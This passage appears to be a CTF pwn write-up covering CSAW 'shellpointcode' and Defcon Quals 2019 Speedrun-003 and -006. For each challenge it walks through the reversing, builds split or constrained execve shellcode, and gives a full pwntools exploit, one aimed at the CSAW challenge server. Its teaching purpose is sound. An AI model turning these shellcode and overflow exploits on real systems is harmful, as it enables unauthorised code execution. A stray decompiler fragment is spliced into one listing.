Here we can see it calls the `nononode` which does this:

```
void nononode(void)

{
  undefined local_48 [8];
  undefined inp1 [24];
  undefined *inp0Ptr;
  undefined inp0 [24];

  inp0Ptr = local_48;
  puts("(15 bytes) Text for node 1:  ");
  readline(inp0,0xf);
  puts("(15 bytes) Text for node 2: ");
  readline(inp1,0xf);
  puts("node1: ");
  printNode(&inp0Ptr);
  goodbye();
  return;
}
```

Here we can see that it scans for input twice, in two `0xf` byte chunks. It then gives us a stack infoleak by printing out the address of `inp0Ptr` so we know where our first `0xf` byte chunk on the stack is. Then it calls the `goodbye` function which does this:

```
void goodbye(void)

{
  char vulnBuf [3];

  puts("What are your initials?");
  fgets(vulnBuf,0x20,stdin);
  printf("Thanks %s\n",vulnBuf);
  return;
}
```

So we can clearly see there is a buffer overflow bug with the fgets call. It is scanning in 32 (0x20) bytes into a 0x3 byte space (since it is at bp-0x3, and there's nothing below it on the stack). Since there is nothing else on the stack, and we have more than `0x10` bytes worth of overflow we should be able to reach the return address just fine.

So with that, we have an executable stack, a buffer overflow that grants us control of the return address, and a stack infoleak (which we can use to figure out the address of anything within that memory region, by using it's offset). The easy thing to do would be to just push shellcode to the stack, and call it. However the issue here it we don't have a single continuous block of memory to store it in. The biggest one we have is the 0x20 bytes from the goodbye call, however that one has to have an 0x8 byte address 11 bytes in to write over the return address, leaving us with onlu 21 bytes to work with across two separate blocks. What we will need to do here, is write/modify some custom shellcode to specifically fit in the multiple discontinuous chunks we have. I just managed to split my shellcode into two different 0xf (15) byte blocks, and stored them in inp0 and inp1, and just called inp0 using the infoleak. We already know from what we previously did that the offset from the infoleak we got to our second input is +0x8 bytes.

For writing the custom shellcode, we will be splitting up the shellcode into these two blocks. I did not write this shell code originally, I only modified it to fit this one particular use case (I just threw in a jmp instruction). The shellcode came from here: https://teamrocketist.github.io/2017/09/18/Pwn-CSAW-Pilot/:

block 0:

```
  400080:    48 bf d1 9d 96 91 d0     movabs rdi,0xff978cd091969dd1
  400087:    8c 97 ff
  40008a:    e9 0c 00 00 00           jmp    40009b <_start+0x1b>
```

This block just executes two different instructions. The first just moves the hex string 0xff978cd091969dd1 (which is just the string /bin/sh\x00 noted) into the rdi register, and then calls the relative jump function. This will just jump x amount of instructions, where x is it's argument (which in this case it's 0xc, which is 12). To figure out how many instructions to jump, I examined the amount of instructions interpreted (since most data can be interpreted as an instruction, and our jmp call will) to see how many instructions I would need to jump ahead, and a bit of trial and error untill I got it right. We can see where the shellcode will jump in gdb (will help a lot if you use a script in this part):

```
gef➤  search-pattern 0xd091969dd1bf48
[+] Searching '0xd091969dd1bf48' in memory
[+] In '[heap]'(0x55b195217000-0x55b195238000), permission=rwx
  0x55b1952172e0 - 0x55b1952172fc  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
[+] In '[stack]'(0x7ffcc0c31000-0x7ffcc0c52000), permission=rwx
  0x7ffcc0c508e8 - 0x7ffcc0c50904  →   "\x48\xbf\xd1\x9d\x96\x91\xd0[...]"
gef➤  x/2g 0x7ffcc0c508e8
0x7ffcc0c508e8:    0x8cd091969dd1bf48    0x0000000011e9ff97
gef➤  x/3i 0x7ffcc0c508e8
   0x7ffcc0c508e8:    movabs rdi,0xff978cd091969dd1
   0x7ffcc0c508f2:    jmp    0x7ffcc0c50908
   0x7ffcc0c508f7:    add    BYTE PTR [rdx+0x5b],ah
gef➤  x/5i 0x7ffcc0c50908
   0x7ffcc0c50908:    nop
   0x7ffcc0c50909:    xor    esi,esi
   0x7ffcc0c5090b:    mul    esi
   0x7ffcc0c5090d:    add    al,0x3b
   0x7ffcc0c5090f:    neg    rdi
```

Remember the relative jump opcode (0xe9) works off of the number instructions (which vary in bytes), not bytes.

block1:

```
   4000a8:    31 f6                      xor    esi,esi
   4000aa:    f7 e6                      mul    esi
   4000ac:    04 3b                      add    al,0x3b
   4000ae:    48 f7 df                   neg    rdi
   4000b1:    57                         push   rdi
   4000b2:    54                         push   rsp
   4000b3:    5f                         pop    rdi
   4000b4:    0f 05                      syscall
```

Here is the rest of the shellcode. It essentially just sets for the syscall which will give us a shell, then makes the syscall. All we really did with the shellcode was move around some of the instructions, and add a jmp instruction.

Here is a look at the shellcode precompiled. The NOPs represent the space between the two segments,

```
$    cat shellcode.asm
[SECTION .text]
global _start
_start:
    mov rdi, 0xff978cd091969dd1
    jmp 0x10
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    xor esi, esi
    mul esi
    add al, 0x3b
    neg rdi
    push rdi
    push rsp
    pop rdi
    syscall
```

and to compile the shellcode:

```
$    nasm -f elf64 shellcode.asm
$    ld -o sheller shellcode.o
$    objdump -D sheller -M intel

sheller:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080:    48 bf d1 9d 96 91 d0     movabs rdi,0xff978cd091969dd1
  400087:    8c 97 ff
  40008a:    e9 0c 00 00 00           jmp    40009b <_start+0x1b>
  40008f:    90                       nop
  400090:    90                       nop
  400091:    90                       nop
  400092:    90                       nop
  400093:    90                       nop
  400094:    90                       nop
  400095:    90                       nop
  400096:    90                       nop
  400097:    90                       nop
  400098:    90                       nop
  400099:    90                       nop
  40009a:    90                       nop
  40009b:    90                       nop
  40009c:    90                       nop
  40009d:    90                       nop
  40009e:    90                       nop
  40009f:    90                       nop
  4000a0:    90                       nop
  4000a1:    90                       nop
  4000a2:    90                       nop
  4000a3:    90                       nop
  4000a4:    90                       nop
  4000a5:    90                       nop
  4000a6:    90                       nop
  4000a7:    90                       nop
  4000a8:    31 f6                    xor    esi,esi
  4000aa:    f7 e6                    mul    esi
  4000ac:    04 3b                    add    al,0x3b
  4000ae:    48 f7 df                 neg    rdi
  4000b1:    57                       push   rdi
  4000b2:    54                       push   rsp
  4000b3:    5f                       pop    rdi
  4000b4:    0f 05                    syscall
```

Putting it all together, we get the following exploit:

```
# Import pwntools
from pwn import *

# Establish the target process
#target = process('./shellpointcode')
target = remote('pwn.chal.csaw.io', 9005)
#gdb.attach(target)


# Establish the two 15 byte shellcode blocks
s0 = "\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\xe9\x11\x00\x00\x00"
s1 = "\x90\x31\xf6\xf7\xe6\x04\x3b\x48\xf7\xdf\x57\x54\x5f\x0f\x05"


# Send the second block first, since it will be stored in memory where it will
be executed second
print target.recvline('node 1:\n')
target.sendline(s1)

# Send the first block of shell code
print target.recvline('node 2:\n')
target.sendline(s0)

# Grab and filter out the infoleak
print target.recvuntil('node.next:')
leak = target.recvline()
leak = leak.replace('\x0a', '')
print 'leak: ' + leak
leak = int(leak, 16)
log.info("Leak is: " + hex(leak))

# Send the buffer overflow to overwrite the return address to our shellcode, and
get code exec
target.sendline('0'*11 + p64(leak + 0x8))

# Drop to an interactive shell
target.interactive('node.next: ')
```

and when we run it:

```
$    python exploit.py
[+] Starting local process './shellpointcode': pid 24064
Linked lists are great!

They let you chain pieces of data together.


(15 bytes) Text for node 1:
(15 bytes) Text for node 2:
node1:
node.next:
leak:  0x7ffdfd5fcca0
[*] Leak is: 0x7ffdfd5fcca0
[*] Switching to interactive mode
node.buffer: \x901���;H��WT_\x0f\x05
What are your initials?
Thanks 00000000000\xa8�_��
node.next:                         w
 01:26:01 up  7:47,  1 user,  load average: 0.95, 0.85, 0.77
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               17:41   ?xdm?  38:30   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
node.next: ls
core        readme.md       shellcode.o    shellpointcode
exploit.py  shellcode.asm  sheller
node.next:
[*] Interrupted
[*] Stopped process './shellpointcode' (pid 24064)
guyinatuxedo@tux:/Hackery/pod/modules/crafting_shellcodeP
```

Just like that, we captured the flag!

Defcon Quals 2019 Speedrun---03

First let's take a look at the binary:

```
$    pwn checksec speedrun
[*] '/Hackery/defcon/s3/speedrun'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    file speedrun
speedrun: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=6169e4b9b9e1600c79683474c0488c8319fc90cb, not stripped
$    ./speedrun
Think you can drift?
Send me your drift
19535728
You're not ready.
```

So we can see that it has all of the standard binary mitiations, and that it is a 64 bit elf that prompts us for input. When we look at the main function in Ghidra, we see this:

```
undefined8 main(void)

{
  char *pcVar1;

  setvbuf(stdout,(char *)0x0,2,0);
  pcVar1 = getenv("DEBUG");
  if (pcVar1 == (char *)0x0) {
    alarm(5);
  }
  say_hello();
  get_that_shellcode();
  return 0;
}
```

Looking through the functions, the one of interest to us is `get_that_shellcode()` :

```
void get_that_shellcode(void)

{
  char xor0;
  char xor1;
  ssize_t bytesRead;
  size_t len;
  char *nopCheck;
  long in_FS_OFFSET;
  char input [15];
  undefined auStack41 [15];
  undefined local_1a;
  long stackCanary;

  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  puts("Send me your drift");
  bytesRead = read(0,input,0x1e);
  local_1a = 0;
  if ((int)bytesRead == 0x1e) {
    len = strlen(input);
    if (len == 0x1e) {
      nopCheck = strchr(input,0x90);
      if (nopCheck == (char *)0x0) {
        xor0 = xor(input,0xf);
        xor1 = xor(auStack41,0xf);
        if (xor0 == xor1) {
          shellcode_it(input,0x1e);
        }
        else {
          puts("This is a special race, come back with better.");
        }
      }
      else {
        puts("Sleeping on the job, you\'re not ready.");
      }
    }
    else {
      puts("You\'re not up to regulation.");
    }
  }
  else {
    puts("You\'re not ready.");
  }
  if (stackCanary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Here we can see it scans in `0x1e` bytes worth of input into `buf`, which then `strlen` is called on it. If the output of strlen is `30` then we can proceed. It also checks for NOPS (opcode `0x90`) in our input with `strchr`. Then runs the first half and second half of our input through the `xor` function, and checks to see if the results are the same. The `xor` function just goes through and xors the first `x` number of bytes it has been given, where `x` is the second argument and returns the output as a single byte:

```
ulong xor(long lParm1,uint uParm2)

{
  byte x;
  uint i;

  x = 0;
  i = 0;
  while (i < uParm2) {
    x = x ^ *(byte *)(lParm1 + (ulong)i);
    i = i + 1;
  }
  return (ulong)x;
}
```

So in order for our shellcode to run, the first half of our shellcode when all the bytes are xored together must be equal to the second half of the shellcode xored together. Then if it passes that check, our input is ran as shellcode in the `shellcode_it` function:

```
void shellcode_it(void *pvParm1,uint uParm2)

{
  undefined *shellcode;

  shellcode = (undefined *)mmap((void *)0x0,(ulong)uParm2,7,0x22,-1,0);
  memcpy(shellcode,pvParm1,(ulong)uParm2);
  (*(code *)shellcode)();
  return;
}
```

So in order to get a shell, we will just need to send it a `30` byte shellcode with no null bytes (because that would interfere with the `strlen` call), and the first half of the shellcode xored together will be equal to the second half of the shellcode xored together. For this I used a 24 byte shellcode that I have used previously (the one from: https://teamrocketist.github.io /2017/09/18/Pwn-CSAW-Pilot/), while padding the end with `6` bytes worth of data to pass the length check. I then edited the last byte to pass the xor check by doing some simple xor math. Also I didn't have to worry too much about what instructions the opcodes mapped to, since the would be executed after the syscall which is when we get the shell.

To figure out what specific byte at the end, we can do that with a bit of python math. First xor the first part by itself to figure out what we need to get the right side equal to:

```
>>> part0 = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf"
>>> len(part0)
15
>>> x = 0
>>> for i in part0:
...     x = x ^ ord(i)
...
>>> hex(x)
'0x2f'
>>>
```

So we can see that the xor must equal `0x2f`. Let's see what the other half of the xor will be if we append 4 `\x50` s to the end:

```
>>> part1 = "\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
>>> part1 += "\x50"*5
>>> len(part1)
14
>>> x = 0
>>> for i in part1:
...     x = x ^ ord(i)
...
>>> hex(x)
'0x28'
```

To figure out what the missing byte is, we can just xor `0x28` and `0x2f` together:

```
>>> 0x28 ^ 0x2f
7
```

With that, we can see that the final byte of the second part will need to be `7` to pass the checks. Putting it all together, we get the following exploit:

```
from pwn import *

# Establish the target process
target = process('./speedrun-003')
#gdb.attach(target, gdbscript = 'pie b *0xac7')
#gdb.attach(target, gdbscript = 'pie b *0xaa3')
#gdb.attach(target, gdbscript = 'pie b *0x982')
#gdb.attach(target, gdbscript = 'pie b *0x9f7')

# The main portion of the shellcode
shellcode = "\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7
\xe6\x04\x3b\x57\x54\x5f\x0f\x05"


# Pad the shellcode to meet the length / xor requirements
#shellcode = "\x50"*3 + shellcode + "\x50"*2 + "\x07"
shellcode = shellcode + "\x50"*5 + "\x07"

# Send the shellcode and then drop to an interactive shell
target.send(shellcode)
target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './speedrun-003': pid 5605
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ w
 00:58:37 up 21 min,  1 user,  load average: 0.39, 0.62, 0.57
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               00:40   ?xdm?   1:32   0.00s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-
session --session=ubuntu
$ ls
exploit.py  readme.md  speedrun-003
```

Just like that, we solved the challenge!

Defcon Quals 2019 Speedrun-006

Let's take a look at the binary:

```
$    file speedrun-006
speedrun-006: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0,
BuildID[sha1]=69951b1d604dac8a5508bc53540205548e7af1c1, not stripped
$    pwn checksec speedrun-006
[*] '/Hackery/defcon/s6/speedrun-006'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$    ./speedrun-006
How good are you around the corners?
Send me your ride
15935728
You ain't ready.
guyinatuxedo@tux:/Hackery/defcon/s6$
```

SO we can see that it is a `64` bit binary with all of the standard binary mitigations, that prompts us for input when we run it. Looking at the main function in Ghidra, we see this:

```
undefined8 main(undefined4 uParm1,undefined8 uParm2)

{
  char *pcVar1;
  long in_FS_OFFSET;
  undefined local_78 [80];
  undefined8 local_28;
  undefined4 local_1c;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_28 = uParm2;
  local_1c = uParm1;
  setvbuf(stdout,(char *)0x0,2,0);
  pcVar1 = getenv("DEBUG");
  if (pcVar1 == (char *)0x0) {
    alarm(5);
  }
  say_hello(local_78);
  get_that_shellcode();
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

Looking through the code, the `get_that_shellcode` function seems to be the only thing that really interests us.

```c
void get_that_shellcode(void)

{
  long lVar1;
  ssize_t bytesRead;
  size_t len;
  long in_FS_OFFSET;
  char input [26];

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Send me your ride");
  bytesRead = read(0,input,0x1a);
  if ((int)bytesRead == 0x1a) {
    len = strlen(input);
    if (len == 0x1a) {
      shellcode_it(input,0x1a);
    }
    else {
      puts("You\'re not up to code.");
    }
  }
  else {
    puts("You ain\'t ready.");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

Looking through the `get_that_shellcode` function, we see that it scans in `0x1a` bytes of data into `buf`. If it scans in `26` bytes (and none of them can be null bytes because it checks with a `strlen` call) it will run the `shellcode_it` function with our input as the argument:

```
/* WARNING: Could not reconcile some variable overlaps */

void shellcode_it(undefined5 *puParm1)

{
  long lVar1;
  undefined8 uVar2;
  undefined5 uVar3;
  undefined8 uVar4;
  undefined8 uVar5;
  undefined8 uVar6;
  undefined8 uVar7;
  undefined8 uVar8;
  undefined8 uVar9;
  undefined8 *shellcode;
  long in_FS_OFFSET;
  undefined2 uStack50;
  undefined2 uStack48;
  undefined5 uStack45;
  undefined4 uStack40;
  undefined4 local_24;
  undefined4 uStack32;
  undefined uStack28;

  uVar9 = clean._40_8_;
  uVar8 = clean._32_8_;
  uVar7 = clean._24_8_;
  uVar6 = clean._16_8_;
  uVar5 = clean._8_8_;
  uVar4 = clean._0_8_;
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  uVar3 = *puParm1;
  uStack50 = (undefined2)*(undefined4 *)(puParm1 + 1);
  uStack48 = (undefined2)((uint)*(undefined4 *)(puParm1 + 1) >> 0x10);
  uStack45 = (undefined5)*(undefined8 *)((long)puParm1 + 9);
  uStack40 = CONCAT13(*(undefined *)((long)puParm1 + 0x11),
                      (int3)((ulong)*(undefined8 *)((long)puParm1 + 9) >>
0x28));
  uVar2 = *(undefined8 *)((long)puParm1 + 0x12);
  uStack32 = (undefined4)((ulong)uVar2 >> 0x18);
  uStack28 = (undefined)((ulong)uVar2 >> 0x38);
  local_24 = CONCAT31((int3)uVar2,0xcc);
  shellcode = (undefined8 *)mmap((void *)0x0,0x4e,7,0x22,-1,0);
  *shellcode = uVar4;
  shellcode[1] = uVar5;
  shellcode[2] = uVar6;
  shellcode[3] = uVar7;
  shellcode[4] = uVar8;
  shellcode[5] = uVar9;
  shellcode[6] = CONCAT26(uStack50,CONCAT15(0xcc,uVar3));
  shellcode[7] = CONCAT53(uStack45,CONCAT12(0xcc,uStack48));
```

```
  shellcode[8] = CONCAT44(local_24,uStack40);
  *(undefined4 *)(shellcode + 9) = uStack32;
  *(undefined2 *)((long)shellcode + 0x4c) = CONCAT11(0xcc,uStack28);
  (*(code *)shellcode)();
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

rn *MK_FP(__FS__, 40LL) ^ v1;
}
```

So this function will run our shellcode. However before it does that it will alter our shellcode. It will append a bunch of xor statements before our shellcode, which will clear out all of the registers except for the rip register (this includes rsp, so we can't push/pop without crashing). In addition to that, it will insert the `0xcc` byte four times throughout our shellcode (at offsets 5, 10, 20, & 29). It may be a bit hard to tell here, however if we check with gdb it will tell us everything (that's how I reversed it when I first solved this). I will set a breakpoint for where our shellcode starts executing and look at what the shellcode is:

```
gef➤  b *shellcode_it+325
Breakpoint 1 at 0x9fe
gef➤  r
Starting program: /Hackery/pod/modules/crafting_shellcodePt1/defconquals19_s6
/speedrun-006
How good are you around the corners?
Send me your ride
00000000
Program received signal SIGALRM, Alarm clock.
0000000000000000
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x3030303030cc3030
$rdx   : 0x00007ffff7ff6000  →  0x3148e43148ed3148
$rsp   : 0x00007fffffffdd10  →  0x0000001a55554bed
$rbp   : 0x00007fffffffdd90  →  0x00007fffffffdde0  →  0x00007fffffffde60  →
0x0000555555554b40  →  <__libc_csu_init+0> push r15
$rsi   : 0x4e
$rdi   : 0x0
$rip   : 0x00005555555549fe  →  <shellcode_it+325> call rdx
$r8    : 0xffffffff
$r9    : 0x0
$r10   : 0x22
$r11   : 0x246
$r12   : 0x0000555555554790  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffdf40  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────
stack ────
0x00007fffffffdd10│+0x0000: 0x0000001a55554bed   ← $rsp
0x00007fffffffdd18│+0x0008: 0x00007fffffffddb0  →  "000000000000000000000000"
0x00007fffffffdd20│+0x0010: 0x00007ffff7ff6000  →  0x3148e43148ed3148
0x00007fffffffdd28│+0x0018: 0x00007ffff7ff6000  →  0x3148e43148ed3148
0x00007fffffffdd30│+0x0020: 0x3148e43148ed3148
0x00007fffffffdd38│+0x0028: 0x48c93148db3148c0
0x00007fffffffdd40│+0x0030: 0xff3148f63148d231
0x00007fffffffdd48│+0x0038: 0x314dc9314dc0314d
────────────────────────────────────────────────────────────────────
code:x86:64 ────
   0x5555555549f1 <shellcode_it+312> mov    QWORD PTR [rbp-0x68], rax
   0x5555555549f5 <shellcode_it+316> mov    rdx, QWORD PTR [rbp-0x68]
   0x5555555549f9 <shellcode_it+320> mov    eax, 0x0
 → 0x5555555549fe <shellcode_it+325> call   rdx
   0x555555554a00 <shellcode_it+327> nop
   0x555555554a01 <shellcode_it+328> mov    rax, QWORD PTR [rbp-0x8]
```

```
   0x555555554a05 <shellcode_it+332> xor    rax, QWORD PTR fs:0x28
   0x555555554a0e <shellcode_it+341> je     0x555555554a15 <shellcode_it+348>
   0x555555554a10 <shellcode_it+343> call   0x555555554730
<__stack_chk_fail@plt>
───────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
*0x7ffff7ff6000 (
   $rdi = 0x0000000000000000,
   $rsi = 0x000000000000004e,
   $rdx = 0x00007ffff7ff6000 → 0x3148e43148ed3148
)
───────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "speedrun-006", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x5555555549fe → shellcode_it()
[#1] 0x555555554a9c → get_that_shellcode()
[#2] 0x555555554b24 → main()
───────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00005555555549fe in shellcode_it ()
gef➤  x/20i $rdx
   0x7ffff7ff6000:  xor    rbp,rbp
   0x7ffff7ff6003:  xor    rsp,rsp
   0x7ffff7ff6006:  xor    rax,rax
   0x7ffff7ff6009:  xor    rbx,rbx
   0x7ffff7ff600c:  xor    rcx,rcx
   0x7ffff7ff600f:  xor    rdx,rdx
   0x7ffff7ff6012:  xor    rsi,rsi
   0x7ffff7ff6015:  xor    rdi,rdi
   0x7ffff7ff6018:  xor    r8,r8
   0x7ffff7ff601b:  xor    r9,r9
   0x7ffff7ff601e:  xor    r10,r10
   0x7ffff7ff6021:  xor    r11,r11
   0x7ffff7ff6024:  xor    r12,r12
   0x7ffff7ff6027:  xor    r13,r13
   0x7ffff7ff602a:  xor    r14,r14
   0x7ffff7ff602d:  xor    r15,r15
   0x7ffff7ff6030:  xor    BYTE PTR [rax],dh
   0x7ffff7ff6032:  xor    BYTE PTR [rax],dh
   0x7ffff7ff6034:  xor    ah,cl
   0x7ffff7ff6036:  xor    BYTE PTR [rax],dh
gef➤  x/4g 0x7ffff7ff6030
0x7ffff7ff6030: 0x3030cc3030303030  0x3030303030cc3030
0x7ffff7ff6040: 0x303030cc30303030  0x0000cc0a30303030
```

We see that the xoring the registers to zero ends at `0x7ffff7ff60300`, which is where we can see is where our input starts (which our input was 25 `0` s followed by a newline character). In addition to that, we can see that it did insert a `0xcc` byte at offsets `5, 10, 20, & 29`.

So what I ended up doing was using two sets of shellcode. The first was just to make a syscall to read to scan in additional shellcode (since the shellcode to pop a shell would be harder to fit in due to the constraints). Then I would just scan in the shellcode to pop a shell without the size / no null bytes / 0xcc inserted restrictions, and then jump to it. I tried for a little bit to just get the shell using only one set of shellcode, however I couldn't do it.

Here is the shellcode that I used to scan it in (with the `0xcc` bytes inserted). There are a lot of nops to ensure the `0xcc` don't mess with any instructions. This shellcode will scan in data with a read syscall (more info here: https://blog.rchapman.org/posts /Linux_System_Call_Table_for_x86_64/). Also for this, the `rax` register is already set to `0x0` to specify a read syscall so we don't need to edit it. In addition to that the `rdi` register is also set to `0x0` which specifies stdin as a result of the xoring that takes place before our shellcode, so the only registers we need to worry about is that of `rsi` which points to where the data will be scanned in and `rdx` which holds the size for the amount of data to be scanned in. For `rdx` I just move in the value `0xff` which gives us more than enough room. For where to scan in our shellcode, I choose the same memory region that our shellcode runs in. The permissions on it are `rwx` so we won't have a problem writing and executing to it, plus the `rip` register will hold a pointer to it. Plus we have a pointer to that region in the `rip` register. I just moved the contents of the `rip` register (minus a little bit) into the `rsi` register, then added `0x43` to it. That way it moved where the new shellcode will be scanned in past this shellcode, and we won't overwrite this shellcode with the new one. Then I just jumped to `rsi` since that holds a pointer to where our new shellcode is:

```
gef➤  x/20i $rip
=> 0x7f6e87b34030:    mov    dl,0xff
   0x7f6e87b34032:    nop
   0x7f6e87b34033:    nop
   0x7f6e87b34034:    nop
   0x7f6e87b34035:    int3
   0x7f6e87b34036:    nop
   0x7f6e87b34037:    nop
   0x7f6e87b34038:    nop
   0x7f6e87b34039:    nop
   0x7f6e87b3403a:    int3
   0x7f6e87b3403b:    lea    rsi,[rip+0xfffffffffffffff8]        #
0x7f6e87b3403a
   0x7f6e87b34042:    nop
   0x7f6e87b34043:    nop
   0x7f6e87b34044:    int3
   0x7f6e87b34045:    add    rsi,0x43
   0x7f6e87b34049:    syscall
   0x7f6e87b3404b:    jmp    rsi
```

Then here is the shellcode I used to actually get a shell via an execve syscall to `/bin/sh` (remember I couldn't use pop/push). Checking the syscall chart there are four registers we need to set. I set `rax` to `0x3b` to specify an execve syscall, I set `rdi` to be a ptr to `/bin/sh`, and set `rsi` and `rdx` to zero:

```
gef➤  x/7i $rip
=> 0x7fc1735c607d:    mov    al,0x3b
   0x7fc1735c607f:    lea    rdi,[rip+0xfffffffffffffff8]        # 
0x7fc1735c607e
   0x7fc1735c6086:    movabs rcx,0x68732f6e69622f
   0x7fc1735c6090:    mov    QWORD PTR [rdi],rcx
   0x7fc1735c6093:    xor    rsi,rsi
   0x7fc1735c6096:    xor    rdx,rdx
   0x7fc1735c6099:    syscall
```

Also to assemble the assembly code into opcodes, I just used nasm. Here's an example assembling the assembly file `shellcode.asm`

```
$ cat scan.asm
[SECTION .text]
global _start
_start:
  mov dl, 0xff
  lea rsi, [rel $ +0xffffffffffffffff ]
  add rsi, 0x43
  syscall
  jmp rsi
$ cat shellcode.asm
[SECTION .text]
global _start
_start:
  mov al, 0x3b
  lea rdi, [rel $ +0xffffffffffffffff ]
  mov rcx, 0x68732f6e69622f
  mov [rdi], rcx
  xor rsi, rsi
  xor rdx, rdx
  syscall
$ nasm -f elf64 scan.asm
$ ld -o scan scan.o
$ nasm -f elf64 shellcode.asm
$ ld -o shellcode shellcode.o
$ objdump -D scan -M intel

scan:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080: b2 ff                 mov    dl,0xff
  400082: 48 8d 35 f8 ff ff ff  lea    rsi,[rip+0xfffffffffffffff8]        #
400081 <_start+0x1>
  400089: 48 83 c6 43           add    rsi,0x43
  40008d: 0f 05                 syscall
  40008f: ff e6                 jmp    rsi
$ objdump -D shellcode -M intel

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <_start>:
  400080: b0 3b                 mov    al,0x3b
  400082: 48 8d 3d f8 ff ff ff  lea    rdi,[rip+0xfffffffffffffff8]        #
400081 <_start+0x1>
  400089: 48 b9 2f 62 69 6e 2f  movabs rcx,0x68732f6e69622f
  400090: 73 68 00
  400093: 48 89 0f              mov    QWORD PTR [rdi],rcx
```

```
400096: 48 31 f6                xor    rsi,rsi
400099: 48 31 d2                xor    rdx,rdx
40009c: 0f 05                   syscall
```

Putting it all together, we get the following exploit:

```
from pwn import *

target = process('speedrun-006')
gdb.attach(target, gdbscript='pie b *0x9fe')

'''
shellcode to scan in additional shellcode
0000000000400080 <_start>:
  400080:   b2 ff                   mov    dl,0xff
  400082:   48 8d 35 f8 ff ff ff    lea    rsi,[rip+0xfffffffffffffff8]        # 
400081 <_start+0x1>
  400089:   48 83 c6 43             add    rsi,0x43
  40008d:   0f 05                   syscall
  40008f:   ff e6                   jmp    rsi
'''

# mov    dl,0xff
scan = "\xb2\xff"

# nops
scan += "\x90\x90\x90\x90\x90\x90\x90"

# lea    rsi,[rip+0xfffffffffffffff8]
scan += "\x48\x8d\x35\xf8\xff\xff\xff"

# nops
scan += "\x90"*2

# add    rsi,0x43
scan += "\x48\x83\xc6\x43"

# syscall
scan += "\x0f\x05"

# jmp rsi
scan += "\xff\xe6"

# send the shellcode, and pause to ensure input is scanned in correctly
target.send(scan)
raw_input()

'''
Secondary shellcode to pop a shell without push/pop
0000000000400080 <_start>:
  400080:   b0 3b                   mov    al,0x3b
  400082:   48 8d 3d f8 ff ff ff    lea    rdi,[rip+0xfffffffffffffff8]
  400089:   48 b9 2f 62 69 6e 2f    movabs rcx,0x68732f6e69622f
  400090:   73 68 00
  400093:   48 89 0f                mov    QWORD PTR [rdi],rcx
  400096:   48 31 f6                xor    rsi,rsi
  400099:   48 31 d2                xor    rdx,rdx
  40009c:   0f 05                   syscall
```

```
'''
# mov    al,0x3b
shellcode = "\xb0\x3b"

# lea    rdi,[rip+0xfffffffffffffff8]
shellcode += "\x48\x8d\x3d\xf8\xff\xff\xff"

# movabs rcx,0x68732f6e69622f
shellcode += "\x48\xb9\x2f\x62\x69\x6e\x2f"
shellcode += "\x73\x68\x00"

# mov    QWORD PTR [rdi],rcx
shellcode += "\x48\x89\x0f"

#xor    rsi,rsi
shellcode += "\x48\x31\xf6"

#xor    rdx,rdx
shellcode += "\x48\x31\xd2"

#syscall
shellcode += "\x0f\x05"

# Send the secondary shellcode
target.send(shellcode)

target.interactive()
```

When we run it:

```
$ python exploit.py
[!] Could not find executable 'speedrun-006' in $PATH, using './speedrun-006'
instead
[+] Starting local process './speedrun-006': pid 9419
